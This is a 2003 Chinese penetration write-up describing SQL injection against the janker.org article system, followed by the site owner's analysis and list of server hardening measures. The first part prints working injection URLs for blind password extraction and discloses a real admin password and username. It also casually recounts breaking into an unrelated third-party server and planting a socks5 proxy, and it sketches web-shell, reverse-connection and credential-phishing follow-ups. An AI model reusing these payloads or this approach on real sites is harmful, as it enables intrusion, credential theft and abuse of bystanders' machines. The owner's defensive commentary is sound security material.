我是这样渗透入侵孤独剑客网站(janker.org)的 作者:N.E.V.E.R 日期:2003年5月22日 出自:http://www.janker.org 不成功的入侵还是有点借鉴价值的,我想同样的方法换一个地方的话,说不定就成功了。 目的地是www.janker.org,呵呵,应该算是授权了的吧。传说中的黑客叔叔们都是先踩点的,如果我有条件的话,一定先到机房附近去看看,兴许还能捡到点密码什么的。不过实在太远,买车票过去的时间说不定我都可以打一把Windforce了,还是来点远程的吧。 拿出扫描器甲乙丙丁一阵乱扫,呵呵,结果大家都能猜到,就不废话了。反正80和23是开着的,这个结果要记住。 系统漏洞没有的话,有几种方法可以供选择:1、渗透;2、脚本漏洞。当然,还可以玩D.D.o.S,还可以背上炸药包炸主机,还可以用拖网把电缆弄断,还可以开飞机把那栋楼撞了,等等。当然这些要看攻击者的想象力,我还是老老实实的看脚本。 找啊找啊,找了几秒钟,找到一个地方没有很好的处理参数id。http://www.janker.org/show.asp?id=2;--出错了。“Microsoft JET Database Engine 错误 '80040e14' 在 SQL 语句结尾之后找到字符。”嗯,大虾们肯定已经看出来了吧?我想来想去觉得这句话告诉了两件事情:一、用的是ACCESS数据库;二、脚本里面兴许有什么" where id=" & request("id")之类的没有过滤的洞洞。关键是怎么用呢? 我还是决定像瞎子摸象一样再看看,猜了一会儿后,觉得一个发布系统远程总会有一个管理系统吧,猜猜表名看看。http://www.janker.org/show.asp?id=2 or id in (select id from admin) OK,没有报错,那么说起来存在一个admin的表,而且这张表里面有id项,其实后来想想这样不好,子查询只是要确定一下有没有admin这张表,用..... id <> (select count(*) from admin)比较好。 继续猜,猜了几个常见的列名,嗯,得到的结果是有user,password。到这里的时候,我觉得我走了很多弯路,虽然第一直觉是这是一个免费的公开源代码的东东,但是因为一下子我没有认出来是什么(我看过的东西很少啊,呵呵……),就没有去找下载,现在猜得头晕,觉得还是应该去找代码来看比较好。 于是我的方向又转到如何去找相同的东东。呵呵,很笨的,我想到了在google.coms搜索fir.asp,因为fir.asp是很奇怪的一个名字,结果我找到了很多很多相同的站点。我觉得几千个结果里面总有非常容易入侵的机器吧,嗯,我用的是webdavx3,大约失败60次以后,终于找了一个进去。当然啦,我只是要看看代码,没有别的意思,只是在这台机器上装了socks5代理(呵呵),补上漏洞就出来了。 这个时候已经临近熄灯时间,我就干脆断了网看代码,嗯,应该说是看那个Access数据库。早这样的话,我就会少走好多弯路啊,不过猜猜也很有意思,大脑长期不用会生锈的。 有人想到直接下数据库吧?呵呵,哪有这么容易的事情啊,数据库的名字百分之一百二被改掉了。 嗯,反正我已经知道admin表是怎样的了,猜猜密码也还不算是太累的工作。先看看admin里面有几个管理员。 http://www.janker.org/show.asp?id=3 AND 1<(select count(*) from admin) 嗯,比一个多…… http://www.janker.org/show.asp?id=3 AND 10<(select count(*) from admin) 没有十个…… (省略无聊过程若干) http://www.janker.org/show.asp?id=3 AND 5=(select count(*) from admin) 有五个管理员呢,随便找一个破一下啊…… 我选的是id=1的,我先猜的是它的密码第一位,呵呵,密码总要一位一位的猜嘛…… http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,1)='q') 嗯,显示是“未指定所需参数!”那么第一位不是q了,如果我们提交的SQL查询正确执行——也就是我们猜对了的话,是会出来id=3的那篇文章的(前面的那些也一样)。继续来吧…… w、e、r、t、y……猜了一会儿,结果出来了。 http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,1)='j') 显示了id为3的那篇文章,密码第一位为j。 暂停一下,如果密码有个2、30位的话,岂不是要猜死了,先看看密码有几位再说吧。方法和猜管理员的个数是一样的,直接给出结果 http://www.janker.org/show.asp?id=3 and 1=(select id from admin where len(password)=7 and id=1) 7位,刚好在我的心理承受范围之内,8位以上的话就要考虑写程序猜了。猜测的过程是美好的,你看到第一位是j后会怎样想呢,优先猜的肯定是a、A、4、@、k之类的吧?如果你猜到了前面三位是jk2,后面的00也会很自信的写上去吧?最后的密码是jk2008!,呵呵,如果你在30分钟内没有一位一位的猜出来的话,就不要做hacker/cracker了。还是给出过程: http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,2)='jk') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,3)='jk2') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,4)='jk20') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,5)='jk200') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,6)='jk2008') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,7)='jk2008!') 嗯,大家在考场上有没有掷色子做选择题的经历啊?一般都是扔两次吧,呵呵,验算一下也是很必要的哦。顺便把用户名也猜出来了…… http://www.janker.org/show.asp?id=3 and 1=(select id from admin where password='jk2008!' and name='janker') 经过一番捣鼓,我终于得到了一个用户名/密码,嗯,很费工夫吧?费工夫的还在后面呢,还有四个用户可是等着我们猜的。当然,全部得到我想要的东西时,已经是第二天的事情了,至于用户名密码,我就不说了,我只是说过程嘛…… 然后干什么就是定式了吧?我选择的道路是先进入管理界面发布两条搞笑的消息,然后说不定有什么跨站脚本漏洞,新闻是显示在首页上的,没有过滤html字符的情况下,你可以想办法建一个1600x1200的div,背景色设定为黑,真正把它“黑”掉。或者刷新到你自己伪造的页面上,等待那些习惯从首页登陆的同志们的密码,哈哈哈哈……一切都很顺利,不是吗?可是管理界面在哪里呢? http://www.janker.org/admin/ 该页无法显示,faint!原来把管理的路径改了……这不是耍我嘛,搞了半天,做的都没有用嘛…… 嗯,还有一个办法的,呵呵,要不然太没有面子了。我干嘛要把几个密码都破出来啊,不就是想多一条路吗,还有FTP呢。呵呵,我记得在哪里看到说很多人都是用的一个密码,试了一下,有一个果然进去了。 GAME OVER!故事到这里就结束了。呵呵,没有成功吧,因为我已经累了,而且觉得很无聊啊,更加重要的是Janker告诉我有人以前用相同的方法得到过密码,我想建设永远比破坏困难,而我比较喜欢困难的事情。 如果要继续的话,故事也许会是…… 完美结局一: 上传的目录可以执行脚本,于是上传了一个.asp的SHELL,然后上传NC一类的东西反向连接,提升权限,清除脚印,安装后门,KO。 完美结局二: 上传的目录不可执行脚本……怎么办呢…… 上传了一个精心制作的folder.htr和desktop.ini,几天后,通过某不知名的木马的客户端连接到了那台机器。 完美结局三: …… 或许你还可以想出这样那样的完美或者是不完美的结局、然而真正的结尾只会有一个。对于管理突围(后来我知道这个系统的名字叫作管理突围)——一个2001年的作品,没有什么好说的。可是用这个的www.invchina.com、www.cnftrade.net、www.zgwl.net、www.manage.org.cn,还有那些用其它免费脚本的那些网站,不自己看看代码,你们真的能放心吗? =========================================== =================== 附孤独剑客先生的评语: 本人的个人站点(http://www.janker.org或http://janker.126.com)做为国内的知名的安全 技术交流站点之一,自从1999年10月1日建立至今,访问量已达160多万人次,长期以来,一直为大 家提供免费技术资料和技术交流沟通的场所,但由于其在国内安全界的特殊地位,很多安全爱好者 把本站当作了挑战目标也在情理之中,从日志分析可以看出janker.org经历了超过10万次以上的尝 试入侵,经受了多次DDOS攻击,但到目前为止,尚没有人能够实现更改网站首页或获得管理员权限 ,在此我把管理维护经验和大家做一下交流,分析内容见下: (1)N.E.V.E.R成功破解文章管理员密码的过程分析 我的站点很久以来一直是采用静态页面的方式,尽管这样做站点会更安全,但却更新麻烦交流不方 便,不能够为大家提供更及时的技术服务,加上本人工作繁忙,不可能把很多精力投入到这上面来 ,所以就采用了折中的方法,那就是使用免费的文章和下载及论坛系统,尽管我对服务器本身做了 标准的安全设置和处理,但不可能是去阅读上万行的第三方代码,要求一般的脚本程序员写出安全 的代码也不太现实,N.E.V.E.R正是利用了脚本代码对页面提交的变量(GET或POST)检查不严而嵌 入了非法的SQL查询,从而可以非授权访问数据库的内容。事实上,在此之前已经有一位QQ上的 叫.PsKey的朋友利用此方法猜出了密码,由此可见注入SQL查询攻击已经为多人所掌握,并且在防 火墙和反病毒软件已经为基本安全配置的如今,脚本攻击将会长期存在下去,而成为影响网络安全 的一个重要因素,就目前而言,防范的主要方法为编写安全的脚本代码和设置安全的服务器系统。 (2)N.E.V.E.R没能够实现更改网站首页的原因 要实现更改首页内容,可从两个方面入手,一是直接修改首页文件,二是修改数据库内容,因为首 页调用了数据库的一些数据。对于前者由于首页文件设置了只有系统管理员才有写的权限,其它用 户都是只读权限,所以在没有获得系统管理员权限的情况下,想更改是几乎不可能的;对于后者而 言,由于数据库文件和首页文件设置了相同的权限,所以可能性不大,也许有的人会问那怎么更新 ,其实方法很简单,那就是需要更新的时候先设置一般用户对数据库文件可写,更新完毕再设置成 只读,虽然麻烦了但却增加了安全性。并且,若不能够进入文章管理界面的话,即便拥有用户账号 和密码要实现修改数据库也是比较困难的,当然若有人乐意为我修改为安全代码的话,可能会为我 省去这麻烦,但可能省不去的是仍然会有被同样手法攻击的可能,因为修改者也无法保证他修改后 就一定安全了,毕竟新的不安全因素是潜在不可预测的。 (3)N.E.V.E.R很难在janker.org上实现权限提升的依据 权限提升的方法有很多种,但不外是漏洞利用、密码破解和欺骗伪装等手段,只要安全处理得当, 实现起来也并不容易,janker.org是通过以下处理来保障服务器安全的。 1、系统和应用软件均保持安装了最新的安全补丁程序。 2、去掉了服务器中不必要的服务和软件系统并设置了严格的文件目录和用户访问权限。 3、系统中没有无用的用户账号存在,且设置了复杂密码。 4、利用系统自身的端口过滤功能封闭了不必要的端口,并禁止不必要的外连。 5、安装有自动更新功能的反病毒软件。 6、安装有进程监控软件,除设定的程序外其它任何程序均不允许在系统中执行。 7、设置了所有的网站目录为系统管理员可读写,普通用户只能读取。 8、网站中所有通过WEB可上传文件的目录均不允许执行脚本和程序。 9、为朋友免费提供的FTP空间通过HTTP访问均不允许执行脚本和程序。 10、我的习惯是以普通方式而不是Web方式浏览服务器文件夹,显示所有隐藏文件和扩展名,不直 接打开可疑程序。 当然,除上面的以外还做了更多的细致设置,比如:服务器伪装、限制FSO和SHELL、设置特殊文件 权限等等。 总结,通过N.E.V.E.R的这次渗透入侵,可以看出我本人作为一名专业的安全人员,能够做如 此细致的安全设置是可以理解的,但相信大多数安装了防火墙和入侵监测及反病毒软件就认为高枕 无忧的网络管理员可就需要注意了,脚本的安全问题已经成了你安全防御线上最薄弱的一环,严重 的话通过权限提升可以轻易获得系统的管理员权限,但也可以看出只要服务器自身的安全处理得当 ,避免某些不可预料的安全问题是可能的。 致谢: .PsKey - 是他最早告诉我站点使用的突围文章系统(www.laoji.com)存在脚本安全问题,并查 出了文章管理员的密码,记得日期是2003年3月26日,是他促使我更改了管理脚本所在目录的路径 ,提高了安全性,遗憾的是我仍然没有时间去好好读读代码,真是不到黄河不死心啊 :)。PsKey 朋友的qq是123935563,有兴趣的与他联系。 N.E.V.E.R - 是他再次提供了友情渗透并替我修改了程序的代码,增加了代码的安全性,使得 janker.org能够更好地为大家服务,他的工作省却了我去修改那些代码的时间,衷心谢谢他!特别 指出的是,此外N.E.V.E.R还曾为新兴的大型安全站点“黑客基地”-http://www.hackbase.com, 做了友情渗透并修订了不安全的脚本代码,发扬了真正的黑客精神,值得大家学习,这也鞭挞了那 些只会拿现成工具去乱改页面而不知道维护网络安全的伪黑客!N.E.V.E.R的qq是1143431,有兴趣 的话大家也可以和他联系。 最后感谢所有支持、关心和爱护孤独剑客站点的朋友,没有你们,我的个人小站不会办到今天 ,有了你们它才在四年多以来以其独特的氛围吸引着一批又一批的安全爱好者!谢谢。 孤独剑客 2003年5月22日 http://www.janker.org qq:5385757 ------------- 醉里挑灯看剑,梦里吹雨听风。 仗剑独走天涯,试问谁与争锋! |